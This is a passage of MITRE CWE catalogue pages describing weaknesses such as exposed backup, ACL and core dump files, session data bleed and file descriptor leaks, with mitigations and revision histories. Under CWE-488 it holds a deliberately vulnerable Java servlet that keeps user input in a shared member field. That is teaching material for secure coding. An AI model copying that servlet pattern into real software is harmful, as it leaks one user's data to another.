+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Observed Examples
ReferenceDescription
download a file to arbitrary folders.
control downloads and executes a url in a parameter
resultant buffer overflow
+ Potential Mitigations

Phase: Implementation

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

Phase: Architecture and Design

Use code signing, although this does not protect against any weaknesses that are already in the control.

Phases: Architecture and Design; System Configuration

Where possible, avoid marking the control as safe for scripting.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-503] Microsoft. "Developing Secure ActiveX Controls". 2005-04-13. <https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 12, "ActiveX Security", Page 749. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Type
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

Weakness ID: 529
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.
+ Extended Description
Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
OperationOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Read Application Data; Bypass Protection Mechanism

+ Potential Mitigations

Phase: System Configuration

Protect access control list files.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak Through Access Control List Files

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

Weakness ID: 530
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A backup file is stored in a directory or archive that is made accessible to unauthorized actors.
+ Extended Description
Often, older backup files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
OperationOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.
+ Potential Mitigations

Phase: Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2009-12-28CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings, Time_of_Introduction
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak Through Backup (.~bk) Files

CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere

Weakness ID: 528
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
OperationOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

+ Potential Mitigations

Phase: System Configuration

Protect the core dump files from unauthorized access.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingMEM06-CEnsure that sensitive data is not written out to disk
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings, Time_of_Introduction
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak Through Core Dump Files

CWE-488: Exposure of Data Element to Wrong Session

Weakness ID: 488
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.
+ Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.567Unsynchronized Access to Shared Data in a Multithreaded Context
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1217User Session Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1018Manage User Sessions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

(bad code)
Example Language: Java 
public class GuestBook extends HttpServlet {
String name;

protected void doPost (HttpServletRequest req, HttpServletResponse res) {
name = req.getParameter("name");
...
out.println(name + ", thanks for visiting!");
}
}

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

+ Potential Mitigations

Phase: Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Phase: Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

Phase: Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.882CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.965SFP Secondary Cluster: Insecure Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsData Leaking Between Users
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Data Leaking Between Users
2011-03-29Data Leak Between Sessions

CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

Weakness ID: 403
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.
+ Extended Description
When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.
+ Alternate Terms
File descriptor leak:
While this issue is frequently called a file descriptor leak, the "leak" term is often used in two different ways - exposure of a resource, or consumption of a resource. Use of this term could cause confusion.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.402Transmission of Private Resources into a New Sphere ('Resource Leak')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
